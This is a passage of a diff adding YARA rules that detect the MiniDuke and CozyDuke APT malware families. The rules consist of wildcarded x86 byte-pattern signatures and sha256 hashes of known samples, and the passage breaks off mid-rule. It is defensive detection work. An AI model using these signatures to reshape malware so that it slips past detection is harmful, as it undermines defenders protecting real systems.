+		$block_74 = { 5? 8B ?? 8B ?? ?? 81 E? ?? ?? ?? ?? 33 ?? 83 ?? ?? 0F 82 }
+		$block_75 = { 8B ?? ?? 6A ?? C1 ?? ?? 5? 3B ?? 89 ?? ?? 89 ?? ?? 0F 86 }
+		$block_76 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 3B ?? 5? 5? 0F 84 }
+		$block_77 = { 8B ?? ?? 0F B6 ?? ?? 5? 8B ?? E8 ?? ?? ?? ?? 4? 3B ?? 7C }
+		$block_78 = { 8D ?? ?? 5? 5? 5? 6A ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_79 = { 0F B6 ?? ?? 8B ?? ?? ?? ?? ?? ?? 3B ?? ?? ?? ?? ?? ?? 73 }
+		$block_80 = { 8B ?? ?? 8B ?? 83 ?? ?? ?? 33 ?? 89 ?? ?? 4? 3B ?? 0F 8C }
+		$block_81 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 85 ?? 5? 5? 0F 84 }
+		$block_82 = { 5? 5? 5? 6A ?? 5? FF 1? ?? ?? ?? ?? 3B ?? 89 ?? ?? 0F 84 }
+		$block_83 = { 5? 8B ?? 83 ?? ?? 5? 33 ?? 33 ?? 39 ?? ?? ?? ?? ?? 0F 85 }
+		$block_84 = { 0F B6 ?? 8B ?? 83 ?? ?? C1 ?? ?? 4? 0B ?? 4? 84 ?? 78 }
+		$block_85 = { 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 5? 0F 84 }
+		$block_86 = { 0F B6 ?? 8A ?? ?? 30 ?? FF 4? ?? 8B ?? ?? 3B ?? ?? 7C }
+		$block_87 = { 8B ?? ?? 3B ?? A3 ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? 0F 86 }
+		$block_88 = { C7 ?? ?? ?? ?? ?? ?? 33 ?? 8D ?? ?? AB 66 ?? B3 ?? BF }
+		$block_89 = { 0F B6 ?? 8D ?? ?? 0F B6 ?? 03 ?? 25 ?? ?? ?? ?? 79 }
+		$block_90 = { 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 5? 0F 86 }
+		$block_91 = { 4? 0F B6 ?? 8D ?? ?? 83 ?? ?? 89 ?? ?? 89 ?? ?? 73 }
+		$block_92 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 3B ?? 5? 5? 0F 84 }
+		$block_93 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 84 ?? 5? 5? 0F 85 }
+		$block_94 = { FF 7? ?? E8 ?? ?? ?? ?? 5? 5? 5? 8A ?? 5? C9 C3 }
+		$block_95 = { 6A ?? 8B ?? 5? 99 F7 ?? 8D ?? ?? 80 C? ?? 5? E8 }
+		$block_96 = { 8D ?? ?? E8 ?? ?? ?? ?? 5? 5? 5? 83 ?? ?? C9 C3 }
+		$block_97 = { 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 5? 5? 5? C9 C3 }
+		$block_98 = { 5? 8B ?? 8B ?? ?? 5? 8B ?? ?? 8B ?? 2B ?? 0F 84 }
+		$block_99 = { 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? 5? C9 C3 }
+
+	condition:
+		hash.sha256(0, filesize) == "98cd87a544ca06ae249e4f3c9790efbd63d8954e0ff695d2404e92f2383871bf" or
+		hash.sha256(0, filesize) == "dd29a6b5c62d8726a3073b6f7d20e6f34d00616de61fc55d04bda9e7824cd598" or
+		hash.sha256(0, filesize) == "7abf424fd57e49756307cc07e05627470a0d1f000a3c8fcc422ea4391981f6a2" or
+		hash.sha256(0, filesize) == "35f911365d14ff533acce7367c2ab74167a9beb7b4e8fd487f25b9db4d68f627" or
+		hash.sha256(0, filesize) == "ded70a8fc7074ea0ceb7f489b2ebb1198154a2507538fc73cbb74712d5fc6d19" or
+		hash.sha256(0, filesize) == "28b56f4245bd2081a8d0885bcd0cad7b384ee4a927d87ce8532c5650ac532916" or
+		hash.sha256(0, filesize) == "49bc860fb8856436e1d540754732843f1a534901ecdd031870702bacab58ae54" or
+		hash.sha256(0, filesize) == "d9cfcd9e64cdd0a4beba9da2b1cfdf7b5af9480bc19d6fdf95ec5b1f07fceb1d" or
+		hash.sha256(0, filesize) == "7a3b78feba1670850602b7c33cb0968b4d89db609d98c81744b43cae23d563f5" or
+		hash.sha256(0, filesize) == "4e31304e1ea66c267b5882f9335a2384eea18a6617a49308846ce624b68e7489" or
+		hash.sha256(0, filesize) == "0ce3bfa972ced61884ae7c1d77c7d4c45e17c7d767e669610cf2ef72b636b464" or
+		hash.sha256(0, filesize) == "d88bd6947eef00bd3baadc55ff1c55b3cdcff5ba8fd145d5b5bf8894c42a7fd3" or
+		hash.sha256(0, filesize) == "56f87c2b24a502fbda0ae9cee8f21615b1ba39737d70d2f4f4011fa6fdd174a1" or
+		hash.sha256(0, filesize) == "b2417de25ad9e6bed08229561eb96d4f2e83ab63b4407c7601a0113ed193fe84" or
+		hash.sha256(0, filesize) == "8b7427620d6537aa905727af48f7dec1e003a8b7c74d417f0a5ded7926a7d590" or
+		hash.sha256(0, filesize) == "51eda4521b3ee9d6917832e4e04a4f58891867b8f7b0ade61725fd124ba40f82" or
+		12 of them
+}
+
+rule MiniDuke {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 0F B6 ?? ?? 8B ?? ?? ?? ?? ?? 5? 5? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? BE ?? ?? ?? ?? EB }
+		$block_1 = { FF 0? ?? ?? ?? ?? 0F B6 ?? ?? 5? 6A ?? 8D ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 0F 87 }
+		$block_2 = { 0F B6 ?? ?? ?? 0F B6 ?? ?? 83 ?? ?? C1 ?? ?? 03 ?? 8D ?? ?? ?? 8B ?? C1 ?? ?? 83 ?? ?? EB }
+		$block_3 = { 2B ?? 2B ?? 8D ?? ?? ?? 8D ?? ?? 8B ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 85 ?? 0F 84 }
+		$block_4 = { 4? C1 ?? ?? 4? 5? 8B ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? 8B ?? ?? FE ?? 83 ?? ?? 88 ?? FF 4? }
+		$block_5 = { 8B ?? ?? BB ?? ?? ?? ?? 3B ?? 1B ?? F7 ?? 03 ?? 8B ?? ?? 89 ?? ?? 03 ?? 3B ?? ?? 0F 87 }
+		$block_6 = { BF ?? ?? ?? ?? 3B ?? 8B ?? ?? 1B ?? F7 ?? 03 ?? 8B ?? ?? 89 ?? ?? 03 ?? 3B ?? ?? 0F 87 }
+		$block_7 = { BE ?? ?? ?? ?? 3B ?? ?? 8B ?? ?? 1B ?? F7 ?? 03 ?? 03 ?? ?? 89 ?? ?? 3B ?? ?? 0F 87 }
+		$block_8 = { 33 ?? 66 ?? ?? ?? 0F 95 ?? 4? 83 ?? ?? 83 ?? ?? 5? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 74 }
+		$block_9 = { 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? 8D ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 0F 84 }
+		$block_10 = { 8B ?? ?? BA ?? ?? ?? ?? 3B ?? ?? 1B ?? F7 ?? 03 ?? 89 ?? ?? 03 ?? 3B ?? ?? 0F 87 }
+		$block_11 = { 8B ?? ?? 5? 68 ?? ?? ?? ?? 5? 8D ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 0F 84 }
+		$block_12 = { 8B ?? ?? BE ?? ?? ?? ?? 3B ?? 1B ?? F7 ?? 03 ?? 89 ?? ?? 03 ?? 3B ?? ?? 0F 87 }
+		$block_13 = { C7 ?? ?? ?? ?? ?? 8B ?? ?? 0F B7 ?? ?? 8B ?? ?? 5? 5? 89 ?? ?? 5? 8B ?? 5? C3 }
+		$block_14 = { 5? 8B ?? 8B ?? 83 ?? ?? 5? 8B ?? ?? 33 ?? 2B ?? 89 ?? ?? 89 ?? ?? 3B ?? 0F 86 }
+		$block_15 = { FF 0? ?? ?? ?? ?? 5? 5? 8D ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 3B ?? 0F 87 }
+		$block_16 = { 8A ?? ?? 88 ?? ?? 8A ?? ?? 88 ?? ?? 8A ?? ?? 88 ?? ?? 8B ?? ?? 5? 5? C9 C3 }
+		$block_17 = { BE ?? ?? ?? ?? 3B ?? ?? 1B ?? F7 ?? 03 ?? 8B ?? ?? 03 ?? 3B ?? ?? 0F 87 }
+		$block_18 = { BA ?? ?? ?? ?? 3B ?? ?? 1B ?? F7 ?? 03 ?? 89 ?? ?? 03 ?? 3B ?? ?? 0F 87 }
+		$block_19 = { 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_20 = { 8B ?? ?? BE ?? ?? ?? ?? 3B ?? ?? 1B ?? F7 ?? 03 ?? 03 ?? 3B ?? ?? 0F 87 }
+		$block_21 = { BA ?? ?? ?? ?? 3B ?? 1B ?? F7 ?? 03 ?? 8B ?? ?? 03 ?? 3B ?? ?? 0F 87 }
+		$block_22 = { 8B ?? ?? 8B ?? ?? 89 ?? 0F B6 ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 3B ?? 72 }
+		$block_23 = { 5? 5? 8B ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 3B ?? 0F 85 }
+		$block_24 = { 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_25 = { 5? 6A ?? 8D ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 0F 85 }
+		$block_26 = { 8B ?? ?? 83 ?? ?? 85 ?? 83 ?? ?? 83 ?? ?? ?? 01 ?? ?? 85 ?? 0F 81 }
+		$block_27 = { BB ?? ?? ?? ?? 3B ?? 1B ?? F7 ?? 03 ?? 03 ?? ?? 3B ?? ?? 0F 87 }
+		$block_28 = { BE ?? ?? ?? ?? 3B ?? 1B ?? F7 ?? 03 ?? 03 ?? ?? 3B ?? ?? 0F 87 }
+		$block_29 = { BE ?? ?? ?? ?? 3B ?? ?? 1B ?? F7 ?? 03 ?? 03 ?? 3B ?? ?? 0F 87 }
+		$block_30 = { 8B ?? ?? 0F B6 ?? ?? 83 ?? ?? C1 ?? ?? 03 ?? 4? 83 ?? ?? 0F 84 }
+		$block_31 = { 0F B7 ?? 5? 6A ?? 6A ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 83 ?? ?? 74 }
+		$block_32 = { 8B ?? ?? ?? ?? ?? 6A ?? 8D ?? ?? 5? 6A ?? 5? FF D? 85 ?? 0F 84 }
+		$block_33 = { 8B ?? ?? 0F B7 ?? ?? 8B ?? ?? 5? 5? 89 ?? ?? 5? 8B ?? 5? C3 }
+		$block_34 = { 8A ?? ?? 88 ?? ?? 8A ?? ?? 88 ?? ?? 8B ?? ?? 5? 5? C9 C3 }
+		$block_35 = { 0F B6 ?? ?? 8D ?? ?? C6 ?? ?? ?? ?? ?? ?? 83 ?? ?? 0F 87 }
+		$block_36 = { 0F B6 ?? ?? 8D ?? ?? ?? 8B ?? C1 ?? ?? 83 ?? ?? 4? 4? E9 }
+		$block_37 = { 0F B6 ?? ?? 8D ?? ?? ?? 8B ?? C1 ?? ?? 83 ?? ?? 4? 4? EB }
+		$block_38 = { 0F B6 ?? ?? ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? ?? ?? ?? ?? 8B }
+		$block_39 = { 0F B6 ?? ?? ?? 0F B6 ?? ?? 83 ?? ?? C1 ?? ?? 03 ?? 8D }
+		$block_40 = { 0F B6 ?? ?? 8D ?? ?? ?? 8B ?? C1 ?? ?? 4? 83 ?? ?? EB }
+		$block_41 = { 0F B6 ?? ?? 83 ?? ?? C1 ?? ?? 03 ?? 4? 83 ?? ?? 0F 84 }
+		$block_42 = { 8B ?? C1 ?? ?? 83 ?? ?? 8D ?? ?? 8B ?? ?? 3B ?? 0F 83 }
+		$block_43 = { 8B ?? ?? 8B ?? C1 ?? ?? 83 ?? ?? 8D ?? ?? 3B ?? 0F 83 }
+		$block_44 = { 5? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? 09 ?? ?? 85 ?? 0F 81 }
+		$block_45 = { 8B ?? C7 ?? ?? ?? ?? ?? ?? 81 F? ?? ?? ?? ?? 0F 87 }
+		$block_46 = { 33 ?? 66 ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 0F B7 ?? EB }
+		$block_47 = { 8B ?? C1 ?? ?? 83 ?? ?? 8D ?? ?? 3B ?? ?? 0F 83 }
+
+	condition:
+		hash.sha256(0, filesize) == "fe2672737205351df003e1969ef1ef0df9e13a9a31bf77f844236857ed0b0bf5" or
+		hash.sha256(0, filesize) == "2ae4cc6834e3679e99fc93d2f5fba02167a31cf5b68a5a9ca7aa1a4b9f7cb4ae" or
+		hash.sha256(0, filesize) == "94d39845ec228ff1c84668207c4591ae0e2b6605bdf11e84916534ab09744736" or
+		hash.sha256(0, filesize) == "19580f275b82ee091bdc3028e6e5018fdcc915fe7853d4151b44f3d7e101e531" or
+		hash.sha256(0, filesize) == "c13794601c5bdec3d5d76de9571e6c0e0b022b9fc62907018566895e3b949982" or
+		hash.sha256(0, filesize) == "cc6ad212f50e0a7a708bb1b63a01d8932f471618cdda69b2e12106ae112b2415" or
+		hash.sha256(0, filesize) == "7815e5275ea849a9ed1f193abd8781ff7ae6b88ef6282f6a0900175a4bb59131" or
+		hash.sha256(0, filesize) == "c60621e82f58b5ea5b36cde40889a076cb2c7f1612144998b1d388200bc7e295" or
+		hash.sha256(0, filesize) == "12a057ca7c92cda3cd0e09efc5bff2ebd3f7d2991e999038c7f31a6ac6a95c3d" or
+		hash.sha256(0, filesize) == "abfffd23c81b6301675567622ccee08cf578ce91f372fce68cff8fc1dbc3053d" or
+		hash.sha256(0, filesize) == "13a50942322977d6471f71debc6d3db38807d88778366bae6cfcae45823a17f8" or
+		hash.sha256(0, filesize) == "bf210e54c65ea69ebda418f701c2c6b8aff840f31c1072d641a726cef8c7b5ad" or
+		hash.sha256(0, filesize) == "f2ede48413704b3efc4d629d3db1a1331352a0afb0d91683640dc4b4af2921d1" or
+		hash.sha256(0, filesize) == "e961202d84aad7fa9faaeb63651735416612d25c611a7a025e2eaab67c79e272" or
+		hash.sha256(0, filesize) == "830ee990a6d4aaf00bb051704c93b468792561e8dd6a6ed4662f6032d38dd37a" or
+		hash.sha256(0, filesize) == "05e4224d4dd4e5fbd381ed33edb5bf847fbc138fbe9f57cb7d1f8fc9fa9a382d" or
+		hash.sha256(0, filesize) == "764f8c8f8832954c99fb0c2ac5ac5d89506dc5dc50310c9112318b75e9f9e2bf" or
+		hash.sha256(0, filesize) == "23486eedb5fe8a026f602507f490b4df4721e8befa65007b84c4f5b1ed95e1bd" or
+		hash.sha256(0, filesize) == "ecc5e2526ca32a447c862612b71c1db5675a759897e680573fa143ac0a8e662a" or
+		hash.sha256(0, filesize) == "62a2df9d001d3e0f222d77b6781eb279761f1354570773ef1929a86557a11454" or
+		hash.sha256(0, filesize) == "2f9834f7b7fe09d98ef7b27d3828691ed4b361d1ccbbf8e10703f9ec03b05259" or
+		hash.sha256(0, filesize) == "f151f5a656d43a76a07fa03166906d51f9683b27b0e9b86464e3a68e9dba1fac" or
+		hash.sha256(0, filesize) == "8e28dcf7fd7ce1ad9a65c186e09a7843ee31af924509148f085958cadfdda8fb" or
+		hash.sha256(0, filesize) == "dfe146fffd2ae59172f52048f7e7d231807e0d732e19bdb443820a8305165741" or
+		hash.sha256(0, filesize) == "415f88765b88dd90e5b0502e4fa1408e06ac9552c7c8974a510e6e23a9756a45" or
+		hash.sha256(0, filesize) == "acd886fa7b9117807f1e11f0f38b9fad1afce51aa9cfbe3810a39d883d0ca663" or
+		hash.sha256(0, filesize) == "6e57c69963562d28a3a9da9f9103c199c909d0baa185a5d21e1b200a5a14ab72" or
+		hash.sha256(0, filesize) == "a6e2852f2e6701656da74adb412cd0850b0d27750803613223be3eb5ac5cc26c" or
+		hash.sha256(0, filesize) == "55129d34050b2c028de564e3166611e1d148c26de0972cbe047caf530f118468" or
+		hash.sha256(0, filesize) == "91b97f3b8ef8ebc8bbd06e06927e7b38090c026f8fca77e209e69c056b042cb7" or
+		hash.sha256(0, filesize) == "3d0b1f970eaeeabf9372ffc1ad7e61226632904cf0311ea8f872ddbfd34a3a2a" or
+		hash.sha256(0, filesize) == "56dfc5905e7dfc67912ed164dc68c0806fdd3d7cd151415aaffcc1b7ab2f1a84" or
+		hash.sha256(0, filesize) == "55265193d63d56553e8e135e9a60d7d7c13cbf9d82ac25f84306ec98d74725b0" or
+		hash.sha256(0, filesize) == "1db9187b7b0e5bc97aca233f29b96295c0bc4058fdcff50df543c1f044e58836" or
+		hash.sha256(0, filesize) == "29ad305cba186c07cedc1f633c09b9b0171289301e1d4319a1d76d0513a6ac50" or
+		hash.sha256(0, filesize) == "1f19bd932336fa721e739b32c07b67c01ea4bd0ebc70e92a70f41e51f4668a0a" or
+		hash.sha256(0, filesize) == "4809c2c7fa19acfa011f97946205f979afb54ac2c166f48ab35a20cd9d53a2ca" or
+		hash.sha256(0, filesize) == "5569b85532adb1e637f83c997910924345f10aa9c2948b3d26be13eec6cbeb8b" or
+		hash.sha256(0, filesize) == "9c13a32033bc7dd06016651b0f21a2bed9be1dc40c6879f925c71e05f4f1c8f7" or
+		hash.sha256(0, filesize) == "b1584a6f1059ad1c24bde2a9a8ae83ffc6679eb531d30f3f1c69f81e3a3819dc" or
+		hash.sha256(0, filesize) == "35c08566dc38ad65e906b3683ace98e5beef855aeedc611a0317a72eee193539" or
+		hash.sha256(0, filesize) == "6a95d2895362fc8657bc90d73d77e32f09b86699eb625905ddeb45ccd6b13c71" or
+		hash.sha256(0, filesize) == "7f5d3a8dfa13ba8e2142a3b1d644f107cc89c7e90cda2a5543df5787f8bfde1e" or
+		hash.sha256(0, filesize) == "f4b01a3a299b09d2b4418cb66e80c34e3ec04016ed27199c472515cf95a023d0" or
+		hash.sha256(0, filesize) == "5b96b07528f762dfcb9d6936995ed4e358d29542ae756f6e5547fa3b5b7797b6" or
+		hash.sha256(0, filesize) == "a1015f0b99106ae2852d740f366e15c1d5c711f57680a2f04be0283e8310f69e" or
+		hash.sha256(0, filesize) == "b55e6e10a7f46c97cd247028287ea664bacf7ec7e500a4bf4f53c9dea7625426" or
+		hash.sha256(0, filesize) == "f0d822926f4e6aec2cf2bd7701d67e8399ccc05bc028377a275a90e06620a109" or
+		hash.sha256(0, filesize) == "354786c5df71cd090c96d1328b4e31cd28b8ddc77904863d100b6c35ad235b69" or
+		hash.sha256(0, filesize) == "8d457e4189017712917c5c8f900bb9072c5910c9f975c50337115f952d885635" or
+		hash.sha256(0, filesize) == "a962ea9027514712ba3949dc3ca54559d1d42e116837dda5f9809d6523a41255" or
+		hash.sha256(0, filesize) == "15101f74f974e3e80cc37805ebe5cc2efed77bb5745d82e1b44b1da4f0c83691" or
+		hash.sha256(0, filesize) == "6c2409d415e66faebf0a031350b44d5a014ab4f62f2c1a3115982d452b7f97b9" or
+		hash.sha256(0, filesize) == "de8184c6850d17f90e861309828af1f7b7e3b1695ebe5d303d3d4b6ef4ba1218" or
+		hash.sha256(0, filesize) == "7889fbd40f65cfe21d0c7486b29eb4c5042abff4ac660c12c7936831445cfd6e" or
+		12 of them
+}
+
+rule CozyDuke {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8D ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 5? 5? FF D? 85 ?? 0F 85 }
+		$block_1 = { 8D ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 3B ?? ?? 0F 84 }
+		$block_2 = { 5? 8B ?? 83 ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? A1 ?? ?? ?? ?? 5? 85 ?? 0F 85 }
+		$block_3 = { 5? A1 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 95 ?? C7 ?? ?? ?? ?? ?? ?? 39 ?? ?? 72 }
+		$block_4 = { 8B ?? 33 ?? 39 ?? ?? 8B ?? 0F 95 ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? FF D? 5? 5? 33 ?? 5? 8B ?? 5? C2 }
+		$block_5 = { 0F BE ?? ?? 33 ?? 81 F? ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 4? 83 ?? ?? 72 }
+		$block_6 = { 8B ?? ?? 0F B6 ?? 0F A4 ?? ?? 25 ?? ?? ?? ?? 99 C1 ?? ?? 0B ?? 4? 0B ?? 89 ?? ?? 3B ?? ?? 7C }
+		$block_7 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 5? 5? 8B ?? ?? FF D? 85 ?? 0F 88 }
+		$block_8 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? 5? 8B ?? ?? 0F 84 }
+		$block_9 = { 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? 8B ?? ?? ?? 8D ?? ?? ?? 8D ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_10 = { 0F BE ?? ?? 66 ?? ?? 48 ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 72 }
+		$block_11 = { 5? 5? 5? 8D ?? ?? ?? ?? ?? 33 ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_12 = { 8B ?? ?? ?? 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? 8D ?? ?? ?? 8D ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_13 = { 8B ?? 33 ?? 39 ?? ?? 8B ?? 0F 95 ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? FF D? 5? 33 ?? 5? 8B ?? 5? C2 }
+		$block_14 = { 8B ?? ?? 8D ?? ?? 5? 8D ?? ?? 5? 8B ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 3B ?? ?? 0F 84 }
+		$block_15 = { 8B ?? ?? 8B ?? ?? 0F B6 ?? ?? 0F A4 ?? ?? 99 C1 ?? ?? 0B ?? 4? 0B ?? 89 ?? ?? 3B ?? ?? 7C }
+		$block_16 = { 8B ?? ?? 5? E8 ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_17 = { 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_18 = { 2B ?? D1 ?? 5? 5? 8D ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? 83 ?? ?? 0F 83 }
+		$block_19 = { 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 3B ?? 0F 84 }
+		$block_20 = { C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? 0F 82 }
+		$block_21 = { 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 8C }
+		$block_22 = { 8B ?? ?? ?? 8B ?? ?? ?? ?? ?? 6A ?? 5? 5? 5? 33 ?? 33 ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_23 = { 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 6A ?? 5? 5? FF D? 85 ?? 0F 85 }
+		$block_24 = { 8B ?? ?? ?? ?? ?? 4? 83 ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? ?? ?? ?? ?? 0F 82 }
+		$block_25 = { 8D ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 3B ?? ?? 0F 84 }
+		$block_26 = { 8B ?? ?? 5? BA ?? ?? ?? ?? B8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_27 = { 8B ?? ?? ?? ?? ?? 8B ?? 5? 8B ?? ?? FF D? FF 1? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 82 }
+		$block_28 = { 5? 8B ?? 83 ?? ?? 83 ?? ?? 5? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 33 ?? 5? 3B ?? 0F 84 }
+		$block_29 = { 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_30 = { 8B ?? ?? 8B ?? ?? 5? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 94 ?? 39 ?? ?? 72 }
+		$block_31 = { 5? 5? 5? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_32 = { 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_33 = { 33 ?? 5? 8D ?? ?? 5? 5? 5? 5? 89 ?? ?? 89 ?? ?? 89 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_34 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_35 = { 0F BE ?? ?? 33 ?? 81 F? ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 66 ?? ?? ?? ?? 4? 83 ?? ?? 72 }
+		$block_36 = { 0F BE ?? ?? 33 ?? 83 ?? ?? 81 E? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 4? 83 ?? ?? 72 }
+		$block_37 = { 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_38 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? ?? 8B ?? 5? 8B ?? ?? 5? 8B ?? ?? 89 ?? ?? 83 ?? ?? 0F 84 }
+		$block_39 = { 83 ?? ?? 8B ?? 03 ?? ?? 5? FF 3? 6A ?? FF D? 5? FF 1? ?? ?? ?? ?? 89 ?? 85 ?? 0F 84 }
+		$block_40 = { 8D ?? ?? 5? 5? 5? 5? 5? 5? 5? 5? 5? 6A ?? 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_41 = { 5? 8B ?? 83 ?? ?? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? 33 ?? 3B ?? 0F 84 }
+		$block_42 = { 8B ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 5? 5? 5? FF 1? ?? ?? ?? ?? 5? 85 ?? 0F 85 }
+		$block_43 = { 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_44 = { 0F BE ?? ?? 66 ?? ?? 48 ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? ?? 48 ?? ?? ?? 72 }
+		$block_45 = { 8D ?? ?? ?? ?? ?? 5? B8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_46 = { 0F AF ?? 5? 03 ?? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8D ?? ?? 83 ?? ?? 83 ?? ?? 77 }
+		$block_47 = { 68 ?? ?? ?? ?? 6A ?? FF 1? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_48 = { 6A ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
